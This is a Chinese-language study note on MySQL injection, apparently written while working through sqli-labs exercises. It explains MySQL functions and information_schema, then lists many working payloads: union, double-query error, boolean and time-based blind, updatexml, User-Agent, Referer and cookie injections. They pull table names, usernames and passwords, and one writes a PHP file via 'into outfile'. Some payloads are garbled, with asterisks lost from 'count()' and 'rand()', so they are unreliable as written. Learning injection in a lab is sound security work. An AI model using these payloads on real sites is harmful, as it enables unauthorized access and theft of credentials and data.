0%

MySQL注入

链接

https://www.cnblogs.com/zlgxzswjy/p/6707433.html

MYSQL学习

  • MYSQL的内调函数学习

    • limit:接受一个或两个数字参数,参数必须是一个整数常量。
      如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,
      第二个参数指定返回记录行的最大数目。初始记录行的偏移量是 0(而不是 1)
      例如:LIMIT 5,10; // 检索记录行 6-15

    • union: 语句连接函数

    • count(): 聚合函数;汇总列数;count( * ):汇总总列数。

    • as: 在mysql中,select查询可以使用AS关键字为查询的字段起一个别名,该别名用作表达式的列名,
      并且别名可以在GROUP BY,ORDER BY或HAVING等语句中使用

    • rand()*num:随机产生0~num的浮点数

    • group by: 对数据进行分组

    • @@datadir: 读取数据库路径

    • @@basedir: MYSQL获取安装路径

    • 盲注需要掌握一些MySQL的相关函数:

      • length(str):返回str字符串的长度。
      • substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。
        注意这里的pos位置是从1开始的,不是数组的0开始
      • mid(str,pos,len):跟上面的一样,截取字符串
      • ascii(str):返回字符串str的最左面字符的ASCII代码值。
      • ord(str):同上,返回ascii码
      • if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
  • MYSQL内的一些基础库

    • information_schema:这个是系统数据库,记录是当前数据库的数据库,表,列,用户权限等信息
  • MYSQL中常用的几个表

    • SCHEMATA:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等。
    • TABLES:储存mysql中的表信息,包括这个表是基本表还是系统表,
      数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。
    • COLUMNS:储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,
      该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。

SQL注入学习

================

  • 当在一个聚合函数,
    比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
  • url编码方式:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%
    常用的url编码有:空格是%20,单引号是%27, 井号是%23,双引号是%22
  • 判断sql注入(显错和基于错误的盲注):单引号,and 1=1 和and 1=2,双引号,
    反斜杠,注释等
    判断基于时间的盲注:在上面的基础上,加个sleep函数 ,如sleep(5)(函数不同数据库有所不同)
    例子: ‘ and sleep(5) “ and sleep(5)
  • sql 注入的基本步骤
    • 判断是什么类型注入,有没过滤了关键字,可否绕过
    • 获取数据库用户,版本,当前连接的数据库等信息
    • 获取某个数据库表的信息
    • 获取列信息
  • 在SQL注入中常见函数和常用语句
    1. 常见php函数:
      • mysql_fetch_array:函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有.这个函数调用只能调用数据库一行代码
    2. 常见sql函数:
      • char():传入acsll码转化为字符
        1. ‘ ‘ : char(32)
        2. ‘:’ : char(58)
        3. ‘ : ‘ : char(32,58,32)
      • user():返回当前用户
      • database():返回当前链接使用的数据库
      • version(): 返回当前数据库的版本
      • concat_ws:第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。
        concat_ws(char(32,58,32),user(),database(),version())
    3. 常用语句:
      • sql语句:
        $sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,3”;
      • GET_Error based:
        • 猜字段:
          order by num %23
        • 查询当前库:
          id=-1’ union SELECT 1,2,concat_ws(char(32,58,32),user(),database(),version()) %23
        • 通过limit函数后面的参数枚举表名:
          union SELECT 1,2,table_name FROM information_schema.tables WHERE table_schema = ‘(库名)’这里可以不用单引号输入库名的16进制数 LIMIT num,num %23
        • 通过limit函数后面的参数枚举列名:
          union SELECT 1,2,column_name FROM information_schema.columns WHERE table_schema = ‘(库名)’这里可以不用单引号输入库名的16进制数 and table_name = ‘(表名)’ 与前者相同 LIMIT num,num %23
        • 枚举最后我们需要的信息:
          union SELECT 1,2,concat_ws(char(32,58,32),usename,password)/此处为所需要提取的信息/ FROM users/此处就是枚举出的表名/
      • GET_Double injection(双注入):
        • 原理:利用注入中count函数和group by联合使用会使SQL语句报错。
        • 查询当前库:
          union select count( * ),count( * ), concat_ws(char(32,58,32),database(), floor(rand()*3)) as a from information_schema.tables group by a%23
        • 通过limit函数后面的参数枚举表名:
          union SELECT count(),1,concat(‘‘,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),’‘,floor(rand()3)) as a FROM information_schema.tables GROUP BY a %23
        • 通过limit函数后面的参数枚举列名:
          union SELECT count(),1,concat(‘‘,(select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),’‘,floor(rand()3)) as a FROM information_schema.tables GROUP BY a %23
        • 枚举最后我们需要的信息:
          union select count(),1, concat(‘‘,(select username from users limit 0,1),’‘, floor(rand()2)) as a from information_schema.tables group by a%23
          union select count( ),1,concat(‘‘,(select password from users limit 0,1),’‘, floor(rand()2)) as a from information_schema.tables group by a%23
      • GET_Dump into outfile(导出文件GET字符型注入):
        • select ““ into outfile “XXX\test.php”
          当这里要获取到网站的在系统中的具体路径(绝对路径)
      • GET- Blind-Boolian(布尔型盲注):(二分法)http://www.zerokeeper.com/web-security/sqlilibs-learning-notes-1-10-off.html
        • 猜库名长度:
          and (length(database()))> num %23
        • 爆库名:
          and if(ascii(substr(select database(),1,1)> num),1,0) %23
          and ascii(substr((select database()),1,1))>num %23 用此方法一个一个的改变num的值,在进行二分试出表名,当前是表名的第一个字符。
        • 爆表名:
          and if( (ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit num,num),1,1)))>num,1,0 ) %23
        • 爆表名:
          and if( (ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1)))>num,1,0 ) %23
        • 爆用户名和密码:
          and if( (ascii(substr((select username from users limit 0,1),1,1)))>65,1,0 ) %23
          and if( (ascii(substr((select password from users limit 0,1),1,1)))>127,1,0 ) %23
      • GET - Blind - Time based(关于时间的盲注):
        • 原理:因为无论输入什么,都显示的一样的,可以想是基于时间的盲注,错误就会暂停一定的时间
        • and if(ascii(substr(select database(),1,1))>num,1,sleep(5)) %23
        • 同上一个一样的注入即可
      • POST - Error Based :
        • 先查网页源码,看input标签栏的name,用此name进行注入;
        • 对于此种注入我们应该注意使用or 1=1 进行检查;而不是and 1=1;
      • POST - Double injection(双注入):
        • 原理和get型的双注入一样。
        • 爆库名:
          uname=1&passwd=1’) or 1=1 union select count() ,concat_ws(char(58),2,database(),floor(rand()3)) as a from information_schema.tables group by a#
        • 爆表名:
          uname=1&passwd=1’) or 1=1 union select count() ,concat_ws(char(58),’LXC’,(select table_name FROM information_schema.tables WHERE table_schema=’security’ LIMIT 3,1),floor(rand()3)) as a from information_schema.tables group by a#
        • 爆列名:
          uname=1&passwd=1’) or 1=1 union select count() ,concat_ws(char(58),’LXC’,(select column_name FROM information_schema.columns WHERE table_name=’users’ LIMIT 9,1),floor(rand()3)) as a from information_schema.tables group by a#
        • 爆我们需要的信息:
          uname=1&passwd=1’) or 1=1 union select count() ,concat_ws(char(58),’LXC’,(select username FROM users LIMIT 0,1),floor(rand()3)) as a from information_schema.tables group by a#
          uname=1&passwd=1’) or 1=1 union select count( ) ,concat_ws(char(58),’LXC’,(select password FROM users LIMIT 0,1),floor(rand()3)) as a from information_schema.tables group by a#
      • POST - Blind Injection 和GET的都是类似的操作
      • POST - Update Query- Error based(基于错误的_post_更新查询注入):
        • 原理:对于update的注入有几种思路,我们将他连同insert和delete一起来总结
          • 子查询(双注入):
            • 爆库名(固定格式):
              or (SELECT * FROM (select count(),concat_ws(char(32,58,32),’SHERLOCK’,(select database()),floor(rand()1000))as lxc from information_schema.tables group by lxc)as a) WHERE username=’admin’ %23
            • 爆表名:
              or (SELECT * FROM (select count(),concat_ws(char(32,58,32),’SHERLOCK’,(select table_name from information_schema.tables where table_schema=’security’ LIMIT 0,1),floor(rand()1000))as lxc from information_schema.tables group by lxc)as a) WHERE username=’admin’ %23
            • 爆列名:
              or (SELECT * FROM (select count(),concat_ws(char(32,58,32),’SHERLOCK’,(select column_name from information_schema.columns where table_name=’users’ LIMIT 0,1),floor(rand()1000))as lxc from information_schema.tables group by lxc)as a) WHERE username=’admin’ %23
            • 爆需要的信息:
              or (SELECT * FROM (select count(),concat_ws(char(32,58,32),’SHERLOCK’,(select username FROM users LIMIT 0,1),floor(rand()*1000))as lxc from information_schema.tables group by lxc)as a) WHERE username=’admin’ %23
              or (SELECT * FROM (select count(\
              ),concat_ws(char(32,58,32),’SHERLOCK’,(select password FROM users LIMIT 0,1),floor(rand()*1000))as lxc from information_schema.tables group by lxc)as a) WHERE username=’admin’ %23
          • updatexml(利用updatexml(xml_target,xpath_expr,new_xml)):
            • 爆库名(固定格式)
              or updatexml(1,concat(0x7e,(…)),0)
            • 后面的就和前方的一样
            • 爆所需信息可以
              uname=admin&passwd=’ or updatexml(1,concat(‘‘,(select * from(select concat_ws(char(32,58,32),id,username,password)from users limit 0,1)as a),’‘),0)%23
          • name_const(name_const(name,value)):
            or (select * from(select name_const((select …),1),name_const((select…),1))a) …
          • 通过extractvalue():
            • 这个函数用法就和updatexml差不多,只是这个函数内的参数为2个,updatexml中有三个,这个需要注意到.
      • POST - Header Injection - Uagent field(基于错误的_post_用户代理_头部注入):
        • 源码中的sql语句:
          • $insert=”INSERT INTO security.uagents(uagent,ip_adress,username) VALUES (‘$uagent’,’$ip’,’$uname’)”;
          • 所有在后面注入的语句的先有三组数据,先把'给闭合,然后数据库操作,然后再给一个数字把括号给闭合
        • 此处注意:
          • #不能用%23表示
          • updatexml中第一个和第三个数据为任意数字即可
          • 还有注意这里不再使用or 而是为了用’,’
        • 爆表名:
          ‘,updatexml(0,concat(‘‘,(select database()),’\‘),1),0)#
        • 后面的内容就是和前面的一样,改变语句进行爆所需的内容
      • POST - Header Injection - Referer field(基于头部的Referer POST报错):
        • 插入的sql语句为:
          • $insert=”INSERT INTO security.referers (referer, ip_address) VALUES (‘$uagent’, ‘$IP’)”;
          • 注意闭合括号
        • 爆表名:
          ‘,updatexml(0,concat(‘~‘,(select database()),’‘),1),0)#
      • POST - Cookie Injection:
        • 查列:
          uname=admin’ order by 3#
        • 爆表名:
          uname=-admin’ union select 1,2,database()#
        • 其余内容就和以前GET型一样的;